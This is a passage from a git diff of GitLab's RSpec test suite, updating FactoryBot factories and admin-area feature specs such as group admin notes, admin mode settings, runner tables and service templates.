+ factory :clusters_integrations_prometheus, class: 'Clusters::Integrations::Prometheus' do
+ cluster factory: %i(cluster provided_by_gcp)
+ enabled { true }
+
+ trait :disabled do
+ enabled { false }
+ end
+ end
+end
diff --git a/spec/factories/draft_note.rb b/spec/factories/draft_note.rb
index 67a3377a39f..cde8831f169 100644
--- a/spec/factories/draft_note.rb
+++ b/spec/factories/draft_note.rb
@@ -9,17 +9,30 @@ FactoryBot.define do
transient do
line_number { 14 }
diff_refs { merge_request.try(:diff_refs) }
+ path { "files/ruby/popen.rb" }
end
position do
Gitlab::Diff::Position.new(
- old_path: "files/ruby/popen.rb",
- new_path: "files/ruby/popen.rb",
+ old_path: path,
+ new_path: path,
old_line: nil,
new_line: line_number,
diff_refs: diff_refs
)
end
+
+ factory :draft_note_on_image_diff do
+ transient do
+ path { "files/images/any_image.png" }
+ end
+
+ position do
+ association(:image_diff_position,
+ file: path,
+ diff_refs: diff_refs)
+ end
+ end
end
factory :draft_note_on_discussion, traits: [:on_discussion]
diff --git a/spec/factories/events.rb b/spec/factories/events.rb
index 6c9f1ba0137..c9e4ada3ffa 100644
--- a/spec/factories/events.rb
+++ b/spec/factories/events.rb
@@ -27,17 +27,20 @@ FactoryBot.define do
factory :wiki_page_event do
action { :created }
+ # rubocop: disable FactoryBot/InlineAssociation
+ # A persistent project is needed to have a wiki page being created properly.
project { @overrides[:wiki_page]&.container || create(:project, :wiki_repo) }
- target { create(:wiki_page_meta, :for_wiki_page, wiki_page: wiki_page) }
+ # rubocop: enable FactoryBot/InlineAssociation
+ target { association(:wiki_page_meta, :for_wiki_page, wiki_page: wiki_page) }
transient do
- wiki_page { create(:wiki_page, container: project) }
+ wiki_page { association(:wiki_page, container: project) }
end
end
trait :has_design do
transient do
- design { create(:design, issue: create(:issue, project: project)) }
+ design { association(:design, issue: association(:issue, project: project)) }
end
end
@@ -45,7 +48,7 @@ FactoryBot.define do
has_design
transient do
- note { create(:note, author: author, project: project, noteable: design) }
+ note { association(:note, author: author, project: project, noteable: design) }
end
action { :commented }
diff --git a/spec/factories/git_wiki_commit_details.rb b/spec/factories/git_wiki_commit_details.rb
index b35f102fd4d..fb3f2954b12 100644
--- a/spec/factories/git_wiki_commit_details.rb
+++ b/spec/factories/git_wiki_commit_details.rb
@@ -5,7 +5,7 @@ FactoryBot.define do
skip_create
transient do
- author { create(:user) }
+ author { association(:user) }
end
sequence(:message) { |n| "Commit message #{n}" }
diff --git a/spec/factories/gitaly/commit.rb b/spec/factories/gitaly/commit.rb
index 2ed201e9aac..4e8220e449a 100644
--- a/spec/factories/gitaly/commit.rb
+++ b/spec/factories/gitaly/commit.rb
@@ -14,7 +14,7 @@ FactoryBot.define do
subject { "My commit" }
body { subject + "\nMy body" }
- author { build(:gitaly_commit_author) }
- committer { build(:gitaly_commit_author) }
+ author { association(:gitaly_commit_author) }
+ committer { association(:gitaly_commit_author) }
end
end
diff --git a/spec/factories/gitlab/database/background_migration/batched_migrations.rb b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
index b45f6ff037b..49cbdc5a8fb 100644
--- a/spec/factories/gitlab/database/background_migration/batched_migrations.rb
+++ b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
@@ -9,5 +9,6 @@ FactoryBot.define do
job_class_name { 'CopyColumnUsingBackgroundMigrationJob' }
table_name { :events }
column_name { :id }
+ total_tuple_count { 10_000 }
end
end
diff --git a/spec/factories/group_group_links.rb b/spec/factories/group_group_links.rb
index 6f98886faff..2a582d8525b 100644
--- a/spec/factories/group_group_links.rb
+++ b/spec/factories/group_group_links.rb
@@ -2,8 +2,8 @@
FactoryBot.define do
factory :group_group_link do
- shared_group { create(:group) }
- shared_with_group { create(:group) }
+ shared_group { association(:group) }
+ shared_with_group { association(:group) }
group_access { Gitlab::Access::DEVELOPER }
trait(:guest) { group_access { Gitlab::Access::GUEST } }
diff --git a/spec/factories/import_export_uploads.rb b/spec/factories/import_export_uploads.rb
index 8521411e0e8..e1dd0c10ff2 100644
--- a/spec/factories/import_export_uploads.rb
+++ b/spec/factories/import_export_uploads.rb
@@ -2,6 +2,6 @@
FactoryBot.define do
factory :import_export_upload do
- project { create(:project) }
+ project { association(:project) }
end
end
diff --git a/spec/factories/packages.rb b/spec/factories/packages.rb
index 882bac1daa9..9edee735af9 100644
--- a/spec/factories/packages.rb
+++ b/spec/factories/packages.rb
@@ -16,6 +16,10 @@ FactoryBot.define do
status { :processing }
end
+ trait :error do
+ status { :error }
+ end
+
factory :maven_package do
maven_metadatum
@@ -36,8 +40,8 @@ FactoryBot.define do
package_type { :rubygems }
after :create do |package|
- create :package_file, :gem, package: package
- create :package_file, :gemspec, package: package
+ create :package_file, package.processing? ? :unprocessed_gem : :gem, package: package
+ create :package_file, :gemspec, package: package unless package.processing?
end
trait(:with_metadatum) do
diff --git a/spec/factories/packages/package_file.rb b/spec/factories/packages/package_file.rb
index 6d8b119040e..74400975670 100644
--- a/spec/factories/packages/package_file.rb
+++ b/spec/factories/packages/package_file.rb
@@ -125,6 +125,9 @@ FactoryBot.define do
trait(:source) do
file_name { 'sample_1.2.3~alpha2.tar.xz' }
+ file_md5 { 'd79b34f58f61ff4ad696d9bd0b8daa68' }
+ file_sha1 { '5f8bba5574eb01ac3b1f5e2988e8c29307788236' }
+ file_sha256 { 'b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362' }
transient do
file_metadatum_trait { :source }
@@ -133,6 +136,9 @@ FactoryBot.define do
trait(:dsc) do
file_name { 'sample_1.2.3~alpha2.dsc' }
+ file_md5 { '3b0817804f669e16cdefac583ad88f0e' }
+ file_sha1 { '32ecbd674f0bfd310df68484d87752490685a8d6' }
+ file_sha256 { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba' }
transient do
file_metadatum_trait { :dsc }
@@ -141,6 +147,9 @@ FactoryBot.define do
trait(:deb) do
file_name { 'libsample0_1.2.3~alpha2_amd64.deb' }
+ file_md5 { 'fb0842b21adc44207996296fe14439dd' }
+ file_sha1 { '5248b95600e85bfe7f63c0dfce330a75f5777366' }
+ file_sha256 { '1c383a525bfcba619c7305ccd106d61db501a6bbaf0003bf8d0c429fbdb7fcc1' }
transient do
file_metadatum_trait { :deb }
@@ -149,6 +158,9 @@ FactoryBot.define do
trait(:deb2) do
file_name { 'sample-dev_1.2.3~binary_amd64.deb' }
+ file_md5 { 'd2afbd28e4d74430d22f9504e18bfdf5' }
+ file_sha1 { 'f81e4f66c8c6bb899653a3340c157965ee69634f' }
+ file_sha256 { '9fbeee2191ce4dab5288fad5ecac1bd369f58fef9a992a880eadf0caf25f086d' }
transient do
file_metadatum_trait { :deb }
@@ -157,6 +169,9 @@ FactoryBot.define do
trait(:udeb) do
file_name { 'sample-udeb_1.2.3~alpha2_amd64.udeb' }
+ file_md5 { '72b1dd7d98229e2fb0355feda1d3a165' }
+ file_sha1 { 'e42e8f2fe04ed1bb73b44a187674480d0e49dcba' }
+ file_sha256 { '2b0c152b3ab4cc07663350424de972c2b7621d69fe6df2e0b94308a191e4632f' }
transient do
file_metadatum_trait { :udeb }
@@ -165,6 +180,9 @@ FactoryBot.define do
trait(:buildinfo) do
file_name { 'sample_1.2.3~alpha2_amd64.buildinfo' }
+ file_md5 { '4e085dd67c120ca967ec314f65770a42' }
+ file_sha1 { '0d47e899f3cc67a2253a4629456ff927e0db5c60' }
+ file_sha256 { 'f9900d3c94e94b329232668dcbef3dba2d96c07147b15b6dc0533452e4dd8a43' }
transient do
file_metadatum_trait { :buildinfo }
@@ -229,6 +247,14 @@ FactoryBot.define do
size { 4.kilobytes }
end
+ trait(:unprocessed_gem) do
+ package
+ file_fixture { 'spec/fixtures/packages/rubygems/package.gem' }
+ file_name { 'package.gem' }
+ file_sha1 { '5fe852b2a6abd96c22c11fa1ff2fb19d9ce58b57' }
+ size { 4.kilobytes }
+ end
+
trait(:gemspec) do
package
file_fixture { 'spec/fixtures/packages/rubygems/package.gemspec' }
diff --git a/spec/factories/sequences.rb b/spec/factories/sequences.rb
index f9952cd9966..b276e6f8cfc 100644
--- a/spec/factories/sequences.rb
+++ b/spec/factories/sequences.rb
@@ -19,4 +19,5 @@ FactoryBot.define do
sequence(:wip_title) { |n| "WIP: #{n}" }
sequence(:jira_title) { |n| "[PROJ-#{n}]: fix bug" }
sequence(:jira_branch) { |n| "feature/PROJ-#{n}" }
+ sequence(:job_name) { |n| "job #{n}" }
end
diff --git a/spec/factories/services.rb b/spec/factories/services.rb
index 18d3b2d99b7..25ef75880bb 100644
--- a/spec/factories/services.rb
+++ b/spec/factories/services.rb
@@ -56,20 +56,24 @@ FactoryBot.define do
api_url { nil }
username { 'jira_username' }
password { 'jira_password' }
+ jira_issue_transition_automatic { false }
jira_issue_transition_id { '56-1' }
issues_enabled { false }
project_key { nil }
vulnerabilities_enabled { false }
vulnerabilities_issuetype { nil }
+ deployment_type { 'cloud' }
end
before(:create) do |service, evaluator|
if evaluator.create_data
create(:jira_tracker_data, service: service,
- url: evaluator.url, api_url: evaluator.api_url, jira_issue_transition_id: evaluator.jira_issue_transition_id,
+ url: evaluator.url, api_url: evaluator.api_url,
+ jira_issue_transition_automatic: evaluator.jira_issue_transition_automatic,
+ jira_issue_transition_id: evaluator.jira_issue_transition_id,
username: evaluator.username, password: evaluator.password, issues_enabled: evaluator.issues_enabled,
project_key: evaluator.project_key, vulnerabilities_enabled: evaluator.vulnerabilities_enabled,
- vulnerabilities_issuetype: evaluator.vulnerabilities_issuetype
+ vulnerabilities_issuetype: evaluator.vulnerabilities_issuetype, deployment_type: evaluator.deployment_type
)
end
end
diff --git a/spec/factories/subscriptions.rb b/spec/factories/subscriptions.rb
index 2b652cd57bf..8ba96d9fa29 100644
--- a/spec/factories/subscriptions.rb
+++ b/spec/factories/subscriptions.rb
@@ -5,5 +5,11 @@ FactoryBot.define do
project
user { project.creator }
subscribable factory: :issue
+
+ trait :group_label do
+ project { nil }
+ user { association(:user) }
+ subscribable factory: :group_label
+ end
end
end
diff --git a/spec/factories/timelogs.rb b/spec/factories/timelogs.rb
index 5d34acc635d..204cb808c8e 100644
--- a/spec/factories/timelogs.rb
+++ b/spec/factories/timelogs.rb
@@ -1,11 +1,22 @@
# frozen_string_literal: true
-# Read about factories at https://github.com/thoughtbot/factory_bot
-
FactoryBot.define do
factory :timelog do
time_spent { 3600 }
- issue
- user { issue.project.creator }
+ for_issue
+
+ factory :issue_timelog, traits: [:for_issue]
+ factory :merge_request_timelog, traits: [:for_merge_request]
+
+ trait :for_issue do
+ issue
+ user { issue.author }
+ end
+
+ trait :for_merge_request do
+ merge_request
+ issue { nil }
+ user { merge_request.author }
+ end
end
end
diff --git a/spec/factories/users/in_product_marketing_email.rb b/spec/factories/users/in_product_marketing_email.rb
new file mode 100644
index 00000000000..c86c469ff31
--- /dev/null
+++ b/spec/factories/users/in_product_marketing_email.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :in_product_marketing_email, class: 'Users::InProductMarketingEmail' do
+ user
+
+ track { 'create' }
+ series { 0 }
+ end
+end
diff --git a/spec/factories_spec.rb b/spec/factories_spec.rb
index 56d643d0cc9..787e0540fda 100644
--- a/spec/factories_spec.rb
+++ b/spec/factories_spec.rb
@@ -32,7 +32,8 @@ RSpec.describe 'factories' do
[:project_member, :blocked],
[:project, :remote_mirror],
[:remote_mirror, :ssh],
- [:user_preference, :only_comments]
+ [:user_preference, :only_comments],
+ [:ci_pipeline_artifact, :remote_store]
]
end
@@ -43,7 +44,7 @@ RSpec.describe 'factories' do
end
it 'does not raise error when created' do
- expect { create(factory.name) }.not_to raise_error
+ expect { create(factory.name) }.not_to raise_error # rubocop:disable Rails/SaveBang
end
factory.definition.defined_traits.map(&:name).each do |trait_name|
@@ -65,14 +66,23 @@ RSpec.describe 'factories' do
# associations must be unique and cannot be reused, or the factory default
# is being mutated.
skip_factory_defaults = %i[
+ evidence
+ exported_protected_branch
fork_network_member
group_member
import_state
+ milestone_release
namespace
project_broken_repo
prometheus_alert
prometheus_alert_event
prometheus_metric
+ protected_branch
+ protected_branch_merge_access_level
+ protected_branch_push_access_level
+ protected_tag
+ release
+ release_link
self_managed_prometheus_alert_event
users_star_project
wiki_page
diff --git a/spec/features/admin/admin_abuse_reports_spec.rb b/spec/features/admin/admin_abuse_reports_spec.rb
index 192182adddc..3a02ce89aa9 100644
--- a/spec/features/admin/admin_abuse_reports_spec.rb
+++ b/spec/features/admin/admin_abuse_reports_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe "Admin::AbuseReports", :js do
describe 'filtering by user' do
let!(:user2) { create(:user) }
- let!(:abuse_report) { create(:abuse_report, user: user) }
+ let!(:abuse_report) { create(:abuse_report, user: user) }
let!(:abuse_report_2) { create(:abuse_report, user: user2) }
it 'shows only single user report' do
diff --git a/spec/features/admin/admin_appearance_spec.rb b/spec/features/admin/admin_appearance_spec.rb
index cd136af8d69..61e7efbc56c 100644
--- a/spec/features/admin/admin_appearance_spec.rb
+++ b/spec/features/admin/admin_appearance_spec.rb
@@ -66,7 +66,7 @@ RSpec.describe 'Admin Appearance' do
context 'when system header and footer messages are not empty' do
before do
- appearance.update(header_message: 'Foo', footer_message: 'Bar')
+ appearance.update!(header_message: 'Foo', footer_message: 'Bar')
end
it 'shows custom system header and footer fields' do
diff --git a/spec/features/admin/admin_groups_spec.rb b/spec/features/admin/admin_groups_spec.rb
index bbdf2f7f4a9..e7634f4e020 100644
--- a/spec/features/admin/admin_groups_spec.rb
+++ b/spec/features/admin/admin_groups_spec.rb
@@ -35,6 +35,7 @@ RSpec.describe 'Admin Groups' do
expect(page).to have_field('group_path')
expect(page).to have_field('group_visibility_level_0')
expect(page).to have_field('description')
+ expect(page).to have_field('group_admin_note_attributes_note')
end
end
@@ -47,10 +48,12 @@ RSpec.describe 'Admin Groups' do
path_component = 'gitlab'
group_name = 'GitLab group name'
group_description = 'Description of group for GitLab'
+ group_admin_note = 'A note about this group by an admin'
fill_in 'group_path', with: path_component
fill_in 'group_name', with: group_name
fill_in 'group_description', with: group_description
+ fill_in 'group_admin_note_attributes_note', with: group_admin_note
click_button "Create group"
expect(current_path).to eq admin_group_path(Group.find_by(path: path_component))
@@ -61,6 +64,8 @@ RSpec.describe 'Admin Groups' do
expect(li_texts).to match group_name
expect(li_texts).to match path_component
expect(li_texts).to match group_description
+ p_texts = content.all('p').collect(&:text).join('/n')
+ expect(p_texts).to match group_admin_note
end
it 'shows the visibility level radio populated with the default value' do
@@ -116,6 +121,16 @@ RSpec.describe 'Admin Groups' do
expect(page).to have_link(group.name, href: group_path(group))
end
+
+ it 'has a note if one is available' do
+ group = create(:group, :private)
+ note_text = 'A group administrator note'
+ group.update!(admin_note_attributes: { note: note_text })
+
+ visit admin_group_path(group)
+
+ expect(page).to have_text(note_text)
+ end
end
describe 'group edit' do
@@ -145,6 +160,36 @@ RSpec.describe 'Admin Groups' do
expect(name_field.value).to eq original_name
end
+
+ it 'adding an admin note to group without one' do
+ group = create(:group, :private)
+ expect(group.admin_note).to be_nil
+
+ visit admin_group_edit_path(group)
+ admin_note_text = 'A note by an administrator'
+
+ fill_in 'group_admin_note_attributes_note', with: admin_note_text
+ click_button 'Save changes'
+
+ expect(page).to have_content(admin_note_text)
+ end
+
+ it 'editing an existing group admin note' do
+ admin_note_text = 'A note by an administrator'
+ new_admin_note_text = 'A new note by an administrator'
+ group = create(:group, :private)
+ group.create_admin_note(note: admin_note_text)
+
+ visit admin_group_edit_path(group)
+
+ admin_note_field = find('#group_admin_note_attributes_note')
+ expect(admin_note_field.value).to eq(admin_note_text)
+
+ fill_in 'group_admin_note_attributes_note', with: new_admin_note_text
+ click_button 'Save changes'
+
+ expect(page).to have_content(new_admin_note_text)
+ end
end
describe 'add user into a group', :js do
diff --git a/spec/features/admin/admin_labels_spec.rb b/spec/features/admin/admin_labels_spec.rb
index 815a73b1450..43fb1f31a0f 100644
--- a/spec/features/admin/admin_labels_spec.rb
+++ b/spec/features/admin/admin_labels_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe 'admin issues labels' do
- let!(:bug_label) { Label.create(title: 'bug', template: true) }
- let!(:feature_label) { Label.create(title: 'feature', template: true) }
+ let!(:bug_label) { Label.create!(title: 'bug', template: true) }
+ let!(:feature_label) { Label.create!(title: 'feature', template: true) }
before do
admin = create(:admin)
@@ -36,7 +36,7 @@ RSpec.describe 'admin issues labels' do
it 'deletes all labels', :js do
page.within '.labels' do
- page.all('.remove-row').each do |remove|
+ page.all('.js-remove-row').each do |remove|
accept_confirm { remove.click }
wait_for_requests
end
diff --git a/spec/features/admin/admin_mode/login_spec.rb b/spec/features/admin/admin_mode/login_spec.rb
index f1dee075925..5b2dfdb2941 100644
--- a/spec/features/admin/admin_mode/login_spec.rb
+++ b/spec/features/admin/admin_mode/login_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe 'Admin Mode Login' do
expect(codes.size).to eq 10
# Ensure the generated codes get saved
- user.save
+ user.save!
end
context 'with valid code' do
diff --git a/spec/features/admin/admin_mode/logout_spec.rb b/spec/features/admin/admin_mode/logout_spec.rb
index b7fa59bbfb7..8cfac5d8b99 100644
--- a/spec/features/admin/admin_mode/logout_spec.rb
+++ b/spec/features/admin/admin_mode/logout_spec.rb
@@ -9,6 +9,8 @@ RSpec.describe 'Admin Mode Logout', :js do
let(:user) { create(:admin) }
before do
+ stub_feature_flags(combined_menu: false)
+
gitlab_sign_in(user)
gitlab_enable_admin_mode_sign_in(user)
visit admin_root_path
diff --git a/spec/features/admin/admin_mode_spec.rb b/spec/features/admin/admin_mode_spec.rb
index 8169b3a20db..633de20c82d 100644
--- a/spec/features/admin/admin_mode_spec.rb
+++ b/spec/features/admin/admin_mode_spec.rb
@@ -9,10 +9,12 @@ RSpec.describe 'Admin mode' do
let(:admin) { create(:admin) }
before do
+ stub_feature_flags(combined_menu: false)
+
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
end
- context 'feature flag :user_mode_in_session is enabled', :request_store do
+ context 'application setting :admin_mode is enabled', :request_store do
before do
sign_in(admin)
end
@@ -155,9 +157,9 @@ RSpec.describe 'Admin mode' do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
sign_in(admin)
end
diff --git a/spec/features/admin/admin_runners_spec.rb b/spec/features/admin/admin_runners_spec.rb
index 4f135b81bdf..4e0dcbdf075 100644
--- a/spec/features/admin/admin_runners_spec.rb
+++ b/spec/features/admin/admin_runners_spec.rb
@@ -201,21 +201,21 @@ RSpec.describe "Admin Runners" do
visit admin_runners_path
- within '.runners-content .gl-responsive-table-row:nth-child(2)' do
+ within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(2)' do
expect(page).to have_content 'runner-2'
end
- within '.runners-content .gl-responsive-table-row:nth-child(3)' do
+ within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(3)' do
expect(page).to have_content 'runner-1'
end
sorting_by 'Last Contact'
- within '.runners-content .gl-responsive-table-row:nth-child(2)' do
+ within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(2)' do
expect(page).to have_content 'runner-1'
end
- within '.runners-content .gl-responsive-table-row:nth-child(3)' do
+ within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(3)' do
expect(page).to have_content 'runner-2'
end
end
@@ -285,8 +285,16 @@ RSpec.describe "Admin Runners" do
end
describe 'runner page breadcrumbs' do
- it 'contains the current runner’s short sha' do
- expect(page.find('h2')).to have_content(runner.short_sha)
+ it 'contains the current runner token' do
+ page.within '[data-testid="breadcrumb-links"]' do
+ expect(page.find('h2')).to have_content(runner.short_sha)
+ end
+ end
+ end
+
+ describe 'runner page title', :js do
+ it 'contains the runner id' do
+ expect(find('.page-title')).to have_content("Runner ##{runner.id}")
end
end
@@ -313,11 +321,11 @@ RSpec.describe "Admin Runners" do
describe 'enable/create' do
shared_examples 'assignable runner' do
it 'enables a runner for a project' do
- within '.unassigned-projects' do
+ within '[data-testid="unassigned-projects"]' do
click_on 'Enable'
end
- assigned_project = page.find('.assigned-projects')
+ assigned_project = page.find('[data-testid="assigned-projects"]')
expect(assigned_project).to have_content(@project2.path)
end
@@ -347,7 +355,7 @@ RSpec.describe "Admin Runners" do
let(:runner) { create(:ci_runner, :instance) }
before do
- @project1.destroy
+ @project1.destroy!
visit admin_runner_path(runner)
end
@@ -363,11 +371,11 @@ RSpec.describe "Admin Runners" do
end
it 'enables specific runner for project' do
- within '.assigned-projects' do
+ within '[data-testid="assigned-projects"]' do
click_on 'Disable'
end
- new_runner_project = page.find('.unassigned-projects')
+ new_runner_project = page.find('[data-testid="unassigned-projects"]')
expect(new_runner_project).to have_content(@project1.path)
end
diff --git a/spec/features/admin/admin_search_settings_spec.rb b/spec/features/admin/admin_search_settings_spec.rb
index a78d17a6651..cd61a1db6f3 100644
--- a/spec/features/admin/admin_search_settings_spec.rb
+++ b/spec/features/admin/admin_search_settings_spec.rb
@@ -20,8 +20,10 @@ RSpec.describe 'Admin searches application settings', :js do
end
context 'in ci/cd settings page' do
- let(:visit_path) { ci_cd_admin_application_settings_path }
+ before do
+ visit(ci_cd_admin_application_settings_path)
+ end
- it_behaves_like 'can search settings with feature flag check', 'Variables', 'Package Registry'
+ it_behaves_like 'can search settings', 'Variables', 'Package Registry'
end
end
diff --git a/spec/features/admin/admin_sees_project_statistics_spec.rb b/spec/features/admin/admin_sees_project_statistics_spec.rb
index be781730924..3433cc01b8e 100644
--- a/spec/features/admin/admin_sees_project_statistics_spec.rb
+++ b/spec/features/admin/admin_sees_project_statistics_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe "Admin > Admin sees project statistics" do
end
context 'when project has no statistics' do
- let(:project) { create(:project, :repository) { |project| project.statistics.destroy } }
+ let(:project) { create(:project, :repository) { |project| project.statistics.destroy! } }
it "shows 'Storage: Unknown'" do
expect(page).to have_content("Storage: Unknown")
diff --git a/spec/features/admin/admin_sees_projects_statistics_spec.rb b/spec/features/admin/admin_sees_projects_statistics_spec.rb
index 2e96814d1e9..d340eb47f34 100644
--- a/spec/features/admin/admin_sees_projects_statistics_spec.rb
+++ b/spec/features/admin/admin_sees_projects_statistics_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe "Admin > Admin sees projects statistics" do
before do
create(:project, :repository)
- create(:project, :repository) { |project| project.statistics.destroy }
+ create(:project, :repository) { |project| project.statistics.destroy! }
sign_in(current_user)
gitlab_enable_admin_mode_sign_in(current_user)
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index 249621f5835..9a2e2eb2f6f 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Admin updates settings' do
let(:admin) { create(:admin) }
- context 'feature flag :user_mode_in_session is enabled', :request_store do
+ context 'application setting :admin_mode is enabled', :request_store do
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
@@ -129,7 +129,7 @@ RSpec.describe 'Admin updates settings' do
context 'Change Sign-up restrictions' do
context 'Require Admin approval for new signup setting' do
- it 'changes the setting' do
+ it 'changes the setting', :js do
page.within('.as-signup') do
check 'Require admin approval for new sign-ups'
click_button 'Save changes'
@@ -249,6 +249,14 @@ RSpec.describe 'Admin updates settings' do
expect(page).to have_content "Application settings saved successfully"
expect(current_settings.hide_third_party_offers).to be true
end
+ end
+
+ context 'when the Slack Notifications Service template is active' do
+ before do
+ create(:service, :template, type: 'SlackService', active: true)
+
+ visit general_admin_application_settings_path
+ end
it 'change Slack Notifications Service template settings', :js do
first(:link, 'Service Templates').click
@@ -588,7 +596,7 @@ RSpec.describe 'Admin updates settings' do
context 'Nav bar' do
it 'shows default help links in nav' do
- default_support_url = 'https://about.gitlab.com/getting-help/'
+ default_support_url = "https://#{ApplicationHelper.promo_host}/getting-help/"
visit root_dashboard_path
@@ -615,9 +623,9 @@ RSpec.describe 'Admin updates settings' do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
diff --git a/spec/features/admin/admin_users_impersonation_tokens_spec.rb b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
index cae190e76b0..dc528dd92d4 100644
--- a/spec/features/admin/admin_users_impersonation_tokens_spec.rb
+++ b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
@@ -75,7 +75,7 @@ RSpec.describe 'Admin > Users > Impersonation Tokens', :js do
end
it "removes expired tokens from 'active' section" do
- impersonation_token.update(expires_at: 5.days.ago)
+ impersonation_token.update!(expires_at: 5.days.ago)
visit admin_user_impersonation_tokens_path(user_id: user.username)
diff --git a/spec/features/admin/services/admin_activates_prometheus_spec.rb b/spec/features/admin/services/admin_activates_prometheus_spec.rb
deleted file mode 100644
index a225de365c8..00000000000
--- a/spec/features/admin/services/admin_activates_prometheus_spec.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Admin activates Prometheus', :js do
- let(:admin) { create(:user, :admin) }
-
- before do
- sign_in(admin)
- gitlab_enable_admin_mode_sign_in(admin)
-
- visit(admin_application_settings_services_path)
-
- click_link('Prometheus')
- end
-
- it 'activates service' do
- check('Active')
- fill_in('API URL', with: 'http://prometheus.example.com')
- click_button('Save changes')
-
- expect(page).to have_content('Application settings saved successfully')
- end
-end
diff --git a/spec/features/admin/services/admin_visits_service_templates_spec.rb b/spec/features/admin/services/admin_visits_service_templates_spec.rb
index 563bca8b32f..1fd8c8316e3 100644
--- a/spec/features/admin/services/admin_visits_service_templates_spec.rb
+++ b/spec/features/admin/services/admin_visits_service_templates_spec.rb
@@ -9,23 +9,45 @@ RSpec.describe 'Admin visits service templates' do
before do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
-
- visit(admin_application_settings_services_path)
end
- context 'without instance-level integration' do
- it 'shows a link to service template' do
- expect(page).to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
- expect(page).not_to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ context 'without an active service template' do
+ before do
+ visit(admin_application_settings_services_path)
+ end
+
+ it 'does not show service template content' do
+ expect(page).not_to have_content('Service template allows you to set default values for integrations')
end
end
- context 'with instance-level integration' do
- let_it_be(:slack_instance_integration) { create(:slack_service, instance: true, project: nil) }
+ context 'with an active service template' do
+ before do
+ create(:slack_service, :template, active: true)
+ visit(admin_application_settings_services_path)
+ end
+
+ it 'shows service template content' do
+ expect(page).to have_content('Service template allows you to set default values for integrations')
+ end
+
+ context 'without instance-level integration' do
+ it 'shows a link to service template' do
+ expect(page).to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
+ expect(page).not_to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ end
+ end
+
+ context 'with instance-level integration' do
+ before do
+ create(:slack_service, instance: true, project: nil)
+ visit(admin_application_settings_services_path)
+ end
- it 'shows a link to instance-level integration' do
- expect(page).not_to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
- expect(page).to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ it 'shows a link to instance-level integration' do
+ expect(page).not_to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
+ expect(page).to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ end
end
end
end
diff --git a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
index 60f2f776595..6675abd6b42 100644
--- a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
+++ b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'Alert integrations settings form', :js do
it 'shows the alerts setting form title' do
page.within('#js-alert-management-settings') do
- expect(find('h4')).to have_content('Alerts')
+ expect(find('h4')).to have_content('Alert integrations')
end
end
diff --git a/spec/features/boards/add_issues_modal_spec.rb b/spec/features/boards/add_issues_modal_spec.rb
deleted file mode 100644
index 8d0fa3e023b..00000000000
--- a/spec/features/boards/add_issues_modal_spec.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Issue Boards add issue modal', :js do
- let(:project) { create(:project, :public) }
- let(:board) { create(:board, project: project) }
- let(:user) { create(:user) }
- let!(:planning) { create(:label, project: project, name: 'Planning') }
- let!(:label) { create(:label, project: project) }
- let!(:list1) { create(:list, board: board, label: planning, position: 0) }
- let!(:list2) { create(:list, board: board, label: label, position: 1) }
- let!(:issue) { create(:issue, project: project, title: 'abc', description: 'def') }
- let!(:issue2) { create(:issue, project: project, title: 'hij', description: 'klm') }
-
- before do
- project.add_maintainer(user)
-
- sign_in(user)
-
- visit project_board_path(project, board)
- wait_for_requests
- end
-
- it 'resets filtered search state' do
- visit project_board_path(project, board, search: 'testing')
-
- wait_for_requests
-
- click_button('Add issues')
-
- page.within('.add-issues-modal') do
- expect(find('.form-control').value).to eq('')
- expect(page).to have_selector('.clear-search', visible: false)
- expect(find('.form-control')[:placeholder]).to eq('Search or filter results...')
- end
- end
-
- context 'modal interaction' do
- before do
- stub_feature_flags(add_issues_button: true)
- end
-
- it 'opens modal' do
- click_button('Add issues')
-
- expect(page).to have_selector('.add-issues-modal')
- end
-
- it 'closes modal' do
- click_button('Add issues')
-
